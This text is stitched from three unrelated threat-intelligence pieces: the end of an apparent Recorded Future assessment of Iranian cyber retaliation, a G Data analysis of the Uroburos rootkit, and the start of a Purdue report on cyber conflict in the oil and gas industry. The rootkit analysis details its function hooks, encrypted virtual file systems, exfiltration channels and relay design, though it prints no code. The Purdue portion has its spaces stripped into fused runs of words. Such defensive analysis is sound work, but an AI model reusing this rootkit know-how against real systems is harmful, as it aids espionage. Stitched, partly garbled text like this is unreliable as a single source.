On May 8, 2018, President Trump decided not to renew the waivers suspending some U.S. sanctions against Iran and initiated a de facto U.S. withdrawal from the agreement.
As a result of this action, we assess that Iran will likely respond quickly by launching destructive attacks on American, European, and rival nation (countries such as Saudi Arabia and Israel) businesses.
Conversely, Iran may also retaliate (exclusively or in conjunction with destructive attacks) through cyber proxies in more methodical and sustained campaigns.
Given the impact of re-applied and expanded economic sanctions, it is likely that American, European, and rival nation businesses will also be targeted with more sustained destructive attacks.
https://www.state.gov/documents/organization/245317.pdf https://www.reuters.com/article/us-iran-nuclear-france/france-opens-door-to-strengthen-iran-nuclear-deal-for-post-2025-idUSKCN1BT1IY?il0 https://www.reuters.com/article/us-iran-nuclear-usa/trump-has-all-but-decided-to-withdraw-from-iran-nuclear-deal-sources-idUSKBN1I331R https://www.wsj.com/articles/pompeo-begins-first-official-foreign-trip-amid-uncertainty-over-iran-deal-1524821386 Recorded Future     www.recordedfuture.com    CTA-2018-0509 As documented above, when pursuing quick-turn cyber operations, the Iranian regime will weigh religious and political reliability against offensive skills.
The best operators are not always the most devout or loyal to the regime and we assess that, in this case, the IRGC may forgo careful contractor selection and planning in an attempt to deliver a destructive attack within a short period of time.
Further, our research indicates that because of the need for a quick response, the Islamic Republic may utilize contractors that are less politically and ideologically reliable (and trusted) and as a result, could be more difficult to control.
It is possible that this dynamic could limit the ability of the government to control the scope and scale of these destructive attacks once they are unleashed.
Western businesses should closely monitor geopolitical events initiated by the United States or Europe that affect Iran.
As demonstrated above, Western businesses are the logical victims of Iranian retaliation for perceived American policy transgressions  specifically businesses in financial services, government departments, critical infrastructure providers, and oil and energy sectors.
In addition to carefully monitoring Iranian geopolitical developments, tracking emerging tactics, techniques, and procedures (TTPs) on Ashiyane, specifically, is wise for any Western commercial threat intelligence program to determine the efficacy of existing security controls.
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G Data Red Paper 2014 Uroburos Highly complex espionage software with Russian roots G Data discovers alleged intelligence agency software G Data SecurityLabs Contact: intelligencegdata.de Re d Pa p er _F eb ru ar y- 20 14 G Data Red Paper February 2014: Uroburos Contents Executive Summary ............................................................................................................................. 2 What is Uroburos?
................................................................................................................................
2 Technical complexity suggests connections to intelligence agencies ...................................................... 2 Relation to Russian attack against U.S. suspected ............................................................................................ 2 Probably undiscovered for at least three years .................................................................................................. 3 Infection vector still unknown .................................................................................................................................. 3 Analysis ................................................................................................................................................. 4 Uroburos name ............................................................................................................................................................. 4 Rootkit framework ........................................................................................................................................................ 5 Hiding malicious activities with the help of hooks ........................................................................................... 5 Virtual file systems ........................................................................................................................................................ 6 The NTFS file system .................................................................................................................................................... 6 Third party tools ............................................................................................................................................................ 7 Injected libraries - controlling the activities ........................................................................................................ 8 Network capabilities .................................................................................................................................................... 9 Victims and attribution ............................................................................................................................................ 10 Conclusion .......................................................................................................................................... 11 Technical details ................................................................................................................................. 11 Copyright  2014 G Data Software AG   1 G Data Red Paper February 2014: Uroburos Executive Summary G Data Security experts have analyzed a very complex and sophisticated piece of malware, designed to steal confidential data.
G Data refers to it as Uroburos, in correspondence with a string found in the malwares code and following an ancient symbol depicting a serpent or dragon eating its own tail.
What is Uroburos?
Uroburos is a rootkit, composed of two files, a driver and an encrypted virtual file system.
The rootkit is able to take control of an infected machine, execute arbitrary commands and hide system activities.
It can steal information (most notably: files) and it is also able to capture network traffic.
Its modular structure allows extending it with new features easily, which makes it not only highly sophisticated but also highly flexible and dangerous.
Uroburos driver part is extremely complex and is designed to be very discrete and very difficult to identify.
Technical complexity suggests connections to intelligence agencies The development of a framework like Uroburos is a huge investment.
The development team behind this malware obviously comprises highly skilled computer experts, as you can infer from the structure and the advanced design of the rootkit.
We believe that the team behind Uroburos has continued working on even more advanced variants, which are still to be discovered.
Uroburos is designed to work in peer-to-peer mode, meaning that infected machines communicate among each other, commanded by the remote attackers.
By commanding one infected machine that has Internet connection, the malware is able to infect further machines within the network, even the ones without Internet connection.
It can spy on each and every infected machine and manages to send the exfiltrated information back to the attackers, by relaying this exfiltrated data through infected machines to one machine with Internet connection.
This malware behavior is typical for propagation in networks of huge companies or public authorities.
The attackers expect that their target does have computers cut off from the Internet and uses this technique as a kind of workaround to achieve their goal.
Uroburos supports 32-bit and 64-bit Microsoft Windows systems.
Due to the complexity of this malware and the supposed spying techniques used by it, we assume that this rootkit targets governments, research institutes, or/and big companies.
Relation to Russian attack against U.S. suspected Due to many technical details (file name, encryption keys, behavior and more details mentioned in this report), we assume that the group behind Uroburos is the same group that performed a cyberattack against the United States of America in 2008 with a malware called Agent.
BTZ.
Uroburos checks for the presence of Agent.
BTZ and remains inactive if it is installed.
It appears that the authors of Uroburos speak Russian (the language appears in a sample), which corroborates the relation to Agent.
BTZ.
Furthermore, according to public newspaper articles, this fact, the usage of Russian, also applied for the authors of Agent.
BTZ.
According to all indications we gathered from the malware analyses and the research, we are sure of the fact that attacks carried out with Uroburos are not targeting John Doe but high profile enterprises, nation states, intelligence agencies and similar targets.
Copyright  2014 G Data Software AG   2 G Data Red Paper February 2014: Uroburos Probably undiscovered for at least three years The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed in this environment.
The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years.
Infection vector still unknown At the current stage of the investigations it is unknown how Uroburos initially infiltrates high profile networks.
Many infection vectors are conceivable.
E.g.
spear phishing, drive-by-infections, USB sticks, or social engineering attacks.
Copyright  2014 G Data Software AG   3 G Data Red Paper February 2014: Uroburos Analysis The G Data SecurityLabs discovered the rootkit dubbed Uroburos during 2013.
We decided to investigate in depth soon after we identified the following three interesting aspects: the usage of virtual file systems the complexity of the framework the advanced network capabilities Uroburos name Uroburos is a direct reference to the Greek word Ouroboros ().
The Ouroboros is an ancient symbol depicting a serpent or dragon eating its own tail.
The name of this rootkit is inspired by a plain text string available in several driver files: Ur0bUr()sGotyOu Furthermore, we identified other references to the ancient serpent/dragon symbol within the rootkits code, for example the following strings: inj_snake_Win32.dll inj_snake_Win64.dll snake_alloc snake_free snake_modules_command Another interesting notion: The exact spelling, Uroburos, can even be found in a webcomic called Homestuck.
In this interactive webcomic, the reader/player needs two codes to receive virtual magic objects (called juju).
Those two codes are in fact uROBuROS and UrobUros.
We can notice that the uppercase and lowercase character order matches the string found within the malware code.
Figure 1: Uroburos name string within the drivers code Figure 2: Homestuck webcomic http://www.mspaintadventures.com/?s6 Copyright  2014 G Data Software AG   4 G Data Red Paper February 2014: Uroburos Rootkit framework The rootkit is basically composed of two files: a driver (.sys file) a virtual file system (.dat file).
We identified several file names for the driver, for example: Ultra3.sys, msw32.sys, vstor32.sys.
We have encountered 32-bit and 64-bit driver versions.
The two binaries may be installed simultaneously on one system.
The file containing the virtual file system has a random name, followed by the extension .dat.
Furthermore, this file is located in the same directory as the driver file.
The installation directory does change, but we were able to identify the following pattern: SYSTEMROOT\Ntuninstall[Random_ID] The malwares persistence is established by the creation of a service which automatically executes during each startup of the system.
The service is located in HKLM\System\CurrentControlSet\Services\Ultra3 The driver is needed to decrypt the virtual file systems create several hooks to hide its activities inject libraries in the users land establish and manage some communication channels Hiding malicious activities with the help of hooks A rootkit naturally tries to hide its activities from the user and so does Uroburos.
The driver uses inline patching to perform the hooks, which is a common way to perform this task.
Inline patching is carried out by modifying the beginning of a targeted systems function in order to redirect the execution flow to a custom code before jumping back to the original function.
In the current case, the inline patching adds a new interrupt instruction (int 0xc3) at the beginning of the hooked function.
Doing this, the malware adds malicious behavior to legitimate functions.
Figure 3: Hook function is called and calls, in turn, the legitimate function Copyright  2014 G Data Software AG   5 G Data Red Paper February 2014: Uroburos The main hooked functions are: ZwQueryKey(), ZwEnumerateKey(), ZwCreateKey() and ZwSaveKey() their purpose is to hide the persistence keys in the registry ZwReadFile() its purpose is to hide the driver and file system files ZwQuerySystemInformation() its purpose is to hide rootkit handles ZwTerminateProcess() its purpose is to terminate cleanly the rootkit during the shutdown of the operating system ObOpenObjectByName() its purpose is to hide the rootkits virtual file systems Virtual file systems The Uroburos rootkit uses two virtual file systems  one NTFS file system and one FAT file system.
They are stored locally, on the infected machine.
This means that the victims computer contains an encrypted file, which, in reality, hosts another file system.
The virtual file systems are used as a work space by the attackers.
They can store third party tools, post-exploitation tools, temporary files and binary output.
The virtual file systems can be accessed through the devices \Device\RawDisk1 and \Device\RawDisk2 and the volume \\.\Hd1 and \\.\Hd2.
The NTFS file system The encryption used for the file systems is CAST-1281.
The respective encryption key is hardcoded within the driver file.
Once decrypted, the virtual file system is a classic NTFS volume, which can be simply accessed through the standard Microsoft file system APIs.
During our analysis, we identified several files the file systems contained: .bat scripts used by the attackers .log files with the output of the execution of the .bat files third party tools queue files The .bat scripts contain some net use commands to map a remote file server, netstat commands to have network information, system info commands to get a complete view of the system configuration.
1 http://en.wikipedia.org/wiki/CAST-128 Figure 4: ZwQueryKey() hook creation Figure 5: Example of one of the .bat scripts Copyright  2014 G Data Software AG   6 G Data Red Paper February 2014: Uroburos The queue file is the most interesting and complex part of the virtual file system.
Each message in the queue contains a unique ID, a type, a timestamp and content.
The content is also encrypted using the CAST-128 algorithm and the respective key is stored in a message, too.
The messages can contain the following information: a key to decrypt other messages a configuration a file (or library injected in user land)  Third party tools We found classic post-exploitation tools, used by a lot of different APT actors.
The following list provides an overview of the tools found in the virtual file system: Dumper for NTLM (hash of a users password).
This information can be used to perform pass the hash2 attacks, to compromise new systems within the infrastructure information gathering tools, to get information on the infected system RAR tools, to create archives of stolen documents Microsoft Office document stealer  2 http://en.wikipedia.org/wiki/Pass_the_hash Figure 6: Information gathering example Copyright  2014 G Data Software AG   7 G Data Red Paper February 2014: Uroburos Injected libraries - controlling the activities The driver injects several libraries into user land.
These libraries are stored in encrypted form in the queue file.
These files are used to create a kind of proxy between the kernel land and the user land.
The driver injects two noteworthy libraries: inj_services_Win32.dll inj_snake_Win32.dll If the infected system is a 64-bit system, Win32 is replaced by Win64.
The libraries are very huge (more than 150 functions) and contain a lot of features.
They are able to manipulate the queue file from the user land.
Following, a list of functions dedicated to the queue management (qm): qm_create() qm_enum() qm_find_first() qm_free() qm_move() qm_pop() qm_push() qm_read() qm_read_hdr() qm_reset_len() qm_rm() qm_rm_list() qm_set_dates() qm_set_parem() qm_write() The libraries have the capability to create and manage a pcap3 capture.
The purpose of this feature is to generate a snapshot of the network traffic.
The libraries are furthermore used to exfiltrate data to the outside world, namely the attackers.
We identified several protocols to perform this task: generally, the configuration needed for each protocol is stored in the queue file and not within the library itself.
HTTP protocol the attackers can choose to use a website to exfiltrate data.
The rootkit supports GET and POST requests and proxy authentication, too.
The default URI is http://s/default.asp but it is configurable.
The media type of the request is chosen from the following list: application/vnd.ms-powerpoint application/vnd.ms-excel application/msword image/gif image/x-bitmap image/jpeg image/pjpeg application/x-shockwave-flash or / 3 http://en.wikipedia.org/wiki/Pcap Copyright  2014 G Data Software AG   8 G Data Red Paper February 2014: Uroburos ICMP protocol the attackers can choose to use ICMP (ping) to exfiltrate data SMTP protocol the attackers can send exfiltrated data by email Named pipe the attackers can use Microsofts named pipe to communicate to another infected machine.
This case will be described in the next chapter The design chosen by the developers is truly efficient: to add a new protocol and a new capability, the attackers do not need to recompile (or reinstall) the entire rootkit.
They simply need to adjust the library and replace the library in the queue file with the adjusted one.
The library usage results in modularity well thought out.
Network capabilities Thanks to the protocol described previously, the attacker can even target victims not directly connected to the Internet.
The following figure shows an example of a network scheme we discovered in 2013: The targeted machine (A) is a machine with access to sensitive data, e.g.
a server.
The rootkit installed on the system opens a Microsoft named pipe and waits for an incoming connection.
This machine can be named spied-on node.
Figure 8: Uroburos communication capabilities Figure 7: HTTP media type list Copyright  2014 G Data Software AG   9 G Data Red Paper February 2014: Uroburos The second machine (B) is an office machine with the capability to connect to the Internet.
The rootkit is configured to connect to system (A), with the help of the named pipe, and administrate the machine remotely.
Finally, machine (B) is able to pass on all data received from machine (A) to the Internet.
This machine (B) could be named proxy node.
This peer-to-peer design is really efficient, scalable and resilient.
In case a proxy node is not available/detected, the attackers can use another infected one.
The advantage for the attackers: even if a security specialist finds one spied-on node, he cannot easily find the proxy node, due to the fact that this node is a passive node.
Furthermore, the analyst does not automatically have the command and control URL.
In case of incident response, this design is complicated to apprehend and it is hard to contain the infection.
Victims and attribution Due to the complexity of the Uroburos rootkit, we estimate that it was designed to target government institutions, research institutions or companies dealing with sensitive information as well as similar high-profile targets.
Concerning the attribution, we found some technical information which allows us to link the Uroburos rootkit to a cyber-attack against the United States of America, carried out in 20084 and, particularly, to the worm used by the attackers, called Agent.
BTZ.
During this 2008 campaign, a USB stick was deliberately lost in the parking lot of the United States Department of Defense.
This USB stick contained malicious code and infected the militarys network.
The following leads make us link what we discovered during our analysis with the cyber-attack carried out in 2008: the usage of the same obfuscation key in Uroburos and Agent.
BTZ (1dM3uu4j7Fw4sjnbcwlDqet4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f 5cvd0fk6c1a0s) the usage of the same file name to store logs: winview.ocx Uroburos actually checks whether Agent.
BTZ is already present on the attacked system, before its installation.
In case Agent.
BTZ is installed, Uroburos will not be installed on the system.
the usage of Russian language in both codes In an article published by Reuters, in 2011, the journalist mentioned that U.S. government strongly suspects that the original attack was crafted by Russian Intelligence.5 We found Uroburos samples with a resource in Russian language: In case someone from the audience of this report notices an infection caused by the Uroburos rootkit and needs help, would like to receive further technical information or would like to contribute any information about this case, please feel free to contact us by email using the following mailbox: intelligencegdata.de 4 http://en.wikipedia.org/wiki/2008_cyberattack_on_United_States 5 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 Figure 9: Resource with Russian language Copyright  2014 G Data Software AG   10 mailto:intelligencegdata.de G Data Red Paper February 2014: Uroburos Conclusion The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed.
The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years.
The investment to develop a complete framework such as Uroburos is extremely high.
The developer team behind the development and the design of such an enhanced framework is really skilled.
We believe that, until today, the team behind Uroburos has developed an even more sophisticated framework, which still remains undiscovered.
The design is highly professional the fact the attackers use a driver and a virtual file system in two separate files which can only work in combination, makes the analysis really complicated.
One needs to have the two components to correctly analyze the framework.
The driver contains all of the necessary functionality and the file system alone simply cannot be decrypted.
The network design is extraordinarily efficient, too for an incident response team, it is always complicated to deal with peer-to-peer infrastructure.
It is also hard to handle passive nodes, because one cannot quickly identify the link between the different infected machines.
This kind of data stealing software is too expensive to be used as common spyware.
We assume that the attackers reserve the Uroburos framework for dedicated and critical targets.
This is the main reason why the rootkit was only detected many years after the suspected first infection.
Furthermore, we assume that the framework is designed to perform cyber espionage within governments and high profile enterprises but, due to its modularity, it can be easily extended to gain new features and perform further attacks as long as it remains undetected within its target.
There are some strong indications which suggest that the group behind Uroburos is the same as the one behind Agent.
BTZ, which allegedly was part of an intelligence agency cyberattack targeting US military bases in 2008.
Notable hints include the usage of the exact same encryption key then and now, as well as the presence of Russian language in both cases.
Technical details SHA256: BF1CFC65B78F5222D35DC3BD2F0A87C9798BCE5A48348649DD271CE395656341 MD5: 320F4E6EE421C1616BD058E73CFEA282 Filesize: 210944 For further information contact intelligencegdata.de Copyright  2014 G Data Software AG   11 mailto:intelligencegdata.de Executive Summary What is Uroburos?
Technical complexity suggests connections to intelligence agencies Relation to Russian attack against U.S. suspected Probably undiscovered for at least three years Infection vector still unknown Analysis Uroburos name Rootkit framework Hiding malicious activities with the help of hooks Virtual file systems The NTFS file system Third party tools Injected libraries - controlling the activities Network capabilities Victims and attribution Conclusion Technical details
CERIAS Tech Report 2013-9 Crude Faux: An analysis of cyber conflict within the oil  gas industries by Kambic, K., Aurthor, K,.
Ellis, W., Jensen, T., Johansen, K., Lee, B., Liles, S. Center for Education and Research Information Assurance and Security Purdue University, West Lafayette, IN 47907-2086 1 Crude Faux An Analysis of cyber Conflict Within the Oil  Gas Industries Authors Abstract Jake Kambic, Kristine Aurthor, Will Ellis, Mary Horner, Tyler Jensen, Kyle Johansen, Brian Lee Under the direction of Dr. Samuel Liles The oil  gas industry is a mul- tibillion-dollar industry that has a history of conflict.
As modern technology has developed, both the corporate aspects and technical as- pects of the oil  gas industry have become heavily reliant on the Cy- ber domain.
The inherently insecure origins and evolution of computing has led that dependence to become a severe vulnerability.
This report examines how these vulnerabilities have been exploited, and what that means to the future of the industry.
Purdue University Cyber Conflict  Transational Cyber-Crime Course 2 Executive Summary Theoilgasindustryisamultibillion-dollarindustrythathasahistoryofconflict.
Asmoderntechnology hasdeveloped,boththecorporateaspectsandtechnicalaspectsoftheoilgasindustryhavebecomeheavily reliantontheCyberdomain.
Theinherentlyinsecureoriginsandevolutionofcomputinghasledthatdependence tobecomeaseverevulnerability.
Recenteventshavebroughtthisfacttolightwithadelugeofcyberattacks launchedgloballyagainsttheindustry.
Theseattacksraisespecterofcyberconflictandthequestionofculpabil- ity.
Thisreportseekstoanalyzeaselectionoftheseevents,lookingforpatternsthatwouldindicateoneormore advancedactors.
Byobservingthemotivesmeansandopportunitiespresentedtoactors,andlookingatacross sectionoftheseattacksovertime,conclusionswillbedrawnastothepast,present,andfutureofcyberconflict withintheindustry.
TheUSArmynotesintheirCyberConceptCapabilitiesplanfor2016-2028thatcybercapabilitiesposeaunique andattractiveopportunitytoaninferiorenemytogainequivalencetemporaryequivalencewithasuperiorenemy throughtheuseofCyber.
Thisappliesnotonlytonationstates,butnon-stateactorsaswell.
Thereareseveralfac- torscompoundingthisissue: Unfetteredaccesstotheinfrastructureandtoolsusedtoconductcyberoperationsbyanyone Alowbarriertoentryfiscallyandlimitedexperiencerequiredtoachieveanoutsizedimpact Ahighandattractivereturnoninvestment Plausibledeniabilityduetoissueswithattribution Thesefactsmakeithighlylikelythatmultipleforeignagenciesaswellaspowerfulcorporatedenizenshaveused andcontinuetomakeuseofcybercapabilitiestoaffectfavorableoutcomes.
Methods:UsingOSINTtechniques,informationwasgatheredfromgovernmentwebsites,corporatewebsites, newsagencies,andsearchenginequeries.
Thisinformationwasthensynthesizedandscrutinizedforpossiblelinks andattribution.
Bylookingatthesurroundinggeopoliticalevents,gainsandlossesaswellasindirectoutcomes, eventscanbecorrelatedandattributedtoactorswhichpossessthemeansmotiveandopportunitytodoso.
The primarypurposeistoanalyzetheeventregardlessofattribution.
Becauseofthenatureofopensourceinforma- tion,biasesarenaturallyintroducedwhichmustbeacknowledged,ifnotaccountedfor.
Events:Incidentswereselectedbasedonrelevanceandtheirtimeliness,alongwithotherfactorsdiscussedinthe methodology.
Incidentswerelargelygroupedintooneofthreecategories:espionage,sabotage,andincidental/ miscellaneous.
WhiletheseincidentsdonotqualifyaswarfarebytheClausewitzdefinition,theyareaformof conflict.
Cyber Espionage:Thereissignificantevidenceofprotracted,insidiousespionagecarriedoutbyastateactorwithin thecyberrealm.
Chinahaslikelylaunchhundredsofcyberattacksagainsttheoilandgasindustrysinceasearlyas 2002.WiththeadventofRedOctober,theymaynotbetheonlyactorsinthegame.
Withalevelofsophistication notyetobservedpubliclyinthisrealm,RedOctobercouldrepresentanevolutiontoChinascurrenttechniques,or anotheractorenteringthegame.
Bylookingatsomeofthetechnicalaspectsoftheevents,alinkwasestablished betweenByzantineCandorandAPT1,aswellasapossiblelinkbetweentheMirageCampaignandElderwoodProj- ect.
3 Sabotage: TheMiddleEasthassceneperhapsthemostevidenceandvarietyofcyberconflictofall.
Whilestayingaway fromeventswhichdonotdirectlyrelatetotheoilindustry,aseriesofsabotageincidentsusingcyberasthemediumare examined.
Itispossiblethatthereeventsweresalvosbetweennationstatesinanexampleofbidirectionalconflict.
Ifthis isnotthecase,andincidentslikeShamoonweresimplytheactofnon-stateactors,thenitrepresentsaffirmationofthe revelenceofnon-stateactorsinfuturecyberconflict.
ThisisonlylogicalsincemostofAmericascriticalinfrastructureis controlledbytheprivatesector,andeconomicinfluencecanbeleveragedtogaingreatpower.
Incidental:BytakinganadversariallookattheDeepwaterHorizonoilspill,anexampleofhowastateactorcouldactin aviolent,kineticwayagainstanon-statethroughcyberwhileremaininganonymousisexaminedthroughavignette.
It isdeterminedthatwhiletheDeepwaterhorizonspillwasnotanattack,iteasilycouldhavebeen.
Thistypeofconflictis bothdeadlyandcatastrophic,andwhileitisunlikelytobeusedlightly,itsetsthetoneforpossibilitiesgoingforward.
Conclusions: Basedontheobservedevents,thepossiblethreatactors,andthecorrelationoftheseevents,itappearsthat thereisongoingcyberconflictwithintheoilindustry.
Thecorrelationofseveralincidentshasshowncoordinatedattacks byanadvancedforeignthreatactoragainstmultipleentitieswiththeuseofespionage.
Ithasalsosuggestedthepos- sibilityofmoredestructiveattacks,andpointedoutthebenefitstobothstateactorsandnon-stateactorswithintheoil industry.
Insomecasestherehasbeenanobviousalignmentofpolitical,strategic,operational,andtacticalgoalsand principalstoaffectfavorableoutcomes.
Theculminationofthesefindingsisthattherearemanythreatactorswhoare currentlyengagedin,ormaybeengagedin,ongoingconflictwhichmayhavethepotentialtoescalate.
Thisshouldbe bothaprimaryconcernandacauseforfutureresearchandanalysis.
4 Introduction RecenteventsofnationalsignificancewithintheoilgasIndustryhavebroughttolightboththequestionof definingthreatsourcesandthatofplausiblyattributingknowneventstoathreatsource.
Theunprecedentedriseincy- bereventsbegetsthequestionofwhetherthisisincidentaltothecontinuedadvancementoftechnology,orsuggestsan ongoingconflictthatmayescalate.
Thisreportwillaggregaterelevantevents,presentcriteriaforoutliningthreatorigins, anddeterminethelikelihoodthattheincidentsarerelated.
Italsoseekstodeterminewhetherornotanyobservedcor- relationpointstoapersistentaggressororsimplycircumstantialcoincidence.
Thepurposeofthisanalysisistoprovide decision-makerswithaclearerideaofthecurrentsecurityoutlookfortheoilandgasindustry,andpinpointwhatcurrent andfuturecausesforconcernappeartobe.
Alleventsandpresentedoptionsshouldbeconsideredcautiouslyandas empiricallyaspossibleanyassumptionsthataremadewillbeexplicitlystated.
Timeline of Events Oneofthefirstprioritiesistooutlineatimelineofeventswhichhaveoccurredandthenexaminewhatsignifi- cancetheymayhaveorrelationshipstheymayshareinordertoscopetheconversation.
Theseeventswillconstitute theframefortheanalysis.
Eventswerechosenafterapreliminaryoverviewofcontentfromopensourcessuchas establishednewsmediasites,oilgascompanywebsites,Googlequeryresults,governmentbulletins,andtechnical reportsbysecuritycompanies.
Fromthisbriefoverview,eventswithintheOilandGasIndustrywhichexhibitedacyber componentwereselected.
Theseeventsarenotmeanttobeallinclusive,andduetotheentirelyopensourcenatureof theresources,thevantagepointontheinformationmaybebiasedandinmanyinstancesislikelyincomplete.
However evenanincompleteviewmaycontainenoughinformationtoidentifysignificantpatterns,andbyacknowledgingthe qualityconcernswiththeinformation,amoreaccurateandobjectiveanalysismaybeperformed.
Belowisatimelineof observedeventswhichwillbediscussedingreaterdetail.
Thetimelinewilllisttheeventandtheapparenttargetofthe event.
5 Cyber Espionage Sabotage Incidental/Misc Signicant Open-Source Cyber-Related Incidents within Oil  Gas Industries [2008-2013] 0 MMbbl 2009 2010 2011 2012 2013 Top 20 Countries Proven Oil Reserves [2011] 211,169 MMbbl 20,000 MMbbl 2 4 3 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ImportersExporters Top 5 [2011] (in thoursands of barrel per day) SA RU IR AE NG US CN JP IN DE Earliest known intrusion of Shady RAT in the Gas industrysophisticated infection and data exltration of corporate secrets A disgrunted former contractor for PER intentionally disables oshore oil rig safety controls remotely o the coast of California McAfee starts monitoring the Night Dragon cyber espionage campaign against oil, energy, and petrochemical companies Symantec ties back a Google hack to a campaign referred to as the Elderwood Project that targets Oil/Gas targets amongst others Deepwater Horizon Oil Rig suers catastrophic failure Control safety Systems had been rendered inhibited BG Group Plc and CHK.
are alleged to be victim of sophisticated data exltration of corporate secrets reported by Bloomberg Talisman Energy  Halliburton Co. are targeted by the comment group as part of a corporate espionage campaign Sophisticated infection and data exltration of corporate secrets from unspecied oil  gas companies in Norway Virus infects a series control systems on Kharg Island, Irans main oil exportation station, causing them to shut down the terminals Dells Counter Threat Unit begins tracking the Mirage cyber espionage campaignSophisticated data exltration of corporate secrets Anonymous hackers target oil industry giants, exposing more than 1,000 email credentials Shamoon virus systematically exltrates corporate data and wiped hard drives of over 30,000 computers at Saudis Aramco Sophisticated infection and data exltration of corporate secrets from Telvent, ltd.
Sophisticated infection and data exltrationin Iraq of corporate secrets suspected to be part of the Night Dragon campaign Virus infects a series control systems on Kharg Island, Irans main oil exportation station, causing them to shut down the terminals Anonymous announces their intent to attack international oil companies in OpFuelStrike Kaspersky announces Red October, a highly exible cyber espionage virus which targets, amongst others, global oil  gas companies Mandiant releases a document entitled APT1 which implicates Chinas PLA sponsored espionage, including within the Oil Industry The CSM highlights a restricted DHS report states 23 gas pipeline companies were targeted via spear-shing 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Timeline  Details of Sampled Events 1 6 Giventhisdataset,anaturalescalationofeventsappearstooccur,withthefrequencyofincidentscontinuing torise.
Thiscanpartiallybeexplainedbyagrowinginternationalawarenessofthevulnerabilitiesandperilsinvolvedin internet-facingcontrolsystemsofallkindsaseventsoccur,theygarneradditionalattentionandthereforeinducead- ditionalincidents.
However,thereareotherinterestingobservationstobemadefromthisdata.
Largely,theincidentsofgreatnote haveoccurredineitherNorthAmericaortheMiddleEast.
Whenconsideringthatthreeofthetopfiveoilproducing countriesareintheseregions(SaudiArabia,theUnitedStates,andIran),thisisnotsurprising.
Yetsubstantivereports ofsimilarincidentsaremarkedlyabsentintheothertwoofthetopfiveoilproducingcountries(ChinaandRussia),and thisisnoteworthy.
Theargumentcouldbemadethatthisisduetolanguagebarriersandtightcontroloninformation dissemination,butitisimprobablethatasignificantincidentwouldhavegoneentirelyunnoticedbyallmediaoutlets.
As theincidentsthemselvesmakeapparent,humanthreatactorsareinvolved,andwhatremainstobeidentifiediswhether thereisthecomplexity,overarchingcoordination,orrecurringthreatsourcethatwouldpointtoanadvancedthreatsuch asastateactororcomplexnon-stateactor.
Beforecontinuingwiththepossibleattributionofevents,somebasediscussionandcriteriaforthethreatsourc- esmustbeestablished.
Athreatsourceisconsideredtobeahuman-basedornaturalentitywhichpossessesacapabil- itythatalignswithanunmitigatedvulnerability.
Thethreatsourceswhichwillbeconsideredmustmeettheminimum requirementofhavingboththemotiveandthemeanstocarryouttheattack.
Onceahypothesisconsistingoftheseele- mentsisestablished,itwillbescrutinizedtodeterminewhetherornottheeventssurroundingtheincidentorseriesof incidentsaligninanyobviouspolitical,strategic,operationalandtacticalmanner.
Themeansinthiscaseconsistsofboth theopportunityandthetechnologicalcapabilitytocausetheincidenttooccur,andthemotivesthatwillbeconsidered areeconomicgain,retribution,orpoliticalagenda(toincludeideology).
TheUSArmynotesintheirCyberConceptCapabilitiesplanfor2016-2028thatcybercapabilitiesposea uniqueandattractiveopportunitytoaninferior,asymmetricenemytotemporarilygainequivalencewithasuperioren- emybecauseofitsrelativelylowinitialcost,highreturnoninvestment,andplausibledeniabilityduetoissueswithattri- bution.
Becauseofthisfact,itishighlylikelythatmultipleforeignagenciesaswellaspowerfulcorporatedenizenshave usedandcontinuetomakeuseofcybercapabilitiestoaffectfavorableoutcomes.
Therestofthereportwillattemptto substantiatethisclaimthroughcriticalanalysis.
7 Methods Toreachtheconclusionspresentedintheensuingreportincidentswerecollectedandchosenbasedonthe inclusionofcybereitherasthemediumfortheevent,orassomecomponentfactorthatplayedadirectorotherwise instrumentalroleintheoutcome.
Aftercollectingasamplingofincidentsintoadataset,theseincidentswereexamined andseveraldirectlyattributablefeatures/impactsweretakenintoaccount,including: Thevictim(s)targeted Evidenceofcyberinvolvement Economiclosses Fatalitiesincurred Geopoliticalimpacts Beyondthedirectimpacts,itwasalsonecessarytoconsiderpossibleindirectrippleeffects.
Forexample,itcouldbe importanttoconsidersomethinglikethepricesofcrudeoilpriortoandafteragivenincident.
Acircumstancemaybe suchthatparticularcompaniesorcountriesunaffectedbytheincidentwouldfindthemselvesbenefitingfromaripple effectlikehighercrudeprices.
Othereffectstoidentifyincludechangesinthestatusoftheinvolvedcompaniesthrough- outanincident.
Thiscouldinvolvelookingatearningsreports,thesellingorbuyingofassets,oranylegalactionsthe companyisinvolvedin,aswellascontextualeventsthataresignificantorcontentiousandoccurdirectlypriortoorafter anincident.
Throughtheinvestigationoftheseoutcomesandcontexts,thereisthepossibilityoffindingcorrelationsbe- tweenvariousincidents.
Thesecorrelationsmaybemadeplainbyobservablepatternsamongthedetailsoftheevents.
Anobservedpatternmaysuggestarecurringactorthesepatternsincludetacticalandmethodicalsimilaritiesbetween allegedattacks,recurringtargets,entitiesthatdirectlyorindirectlybenefittedorincurredlossesasanoutcome,andgeo- graphicdispersionorclosenessoftheevents.
Incaseswhereanattackisapparent,tacticalelementssuchastoolswere scrutinizedaswell,asameansofattribution.
Forexample,atoolmayunintentionallyexhibitculturaltendenciessuchas thelanguageused,colloquialisms,idioms,religiouspreference,andrecurringpersonalhabitsofthecreatororoperator.
Thesesignaturescoupledwithaspectsofthetacticalassetslikeexclusiveness(asinthecaseofapurchaseddomainused asaC2point)cansignificantlyraisetheconfidencelevelofanattribution.
Possibleactorsinthecyberexchangecanostensiblybeidentifiedfromthesecorrelations.
Ifitisdetermined thattheincidentwasanattack,motivesofthepotentialactorscanbeconsidered.
Akeyelementofthisthatshouldbe consideredisanyprecedencefortheattack.
Thehistoryofpoliticalrelationshipsbetweencountries,suchasanyex- pressedhostilitiesorallegiancesandtreaties,mayalsoproverelevant.
Historyalsotellsusthatmostconflictsariseover theacquisitionofresources.
Assuch,theenergyresourcesandrequirementsofnation-statesmustbeanalyzed.
Forex- ample,istheentitybeingexaminedamajorimporterorexporterofoil?Istheentitycapableofenergyself-sufficiency?
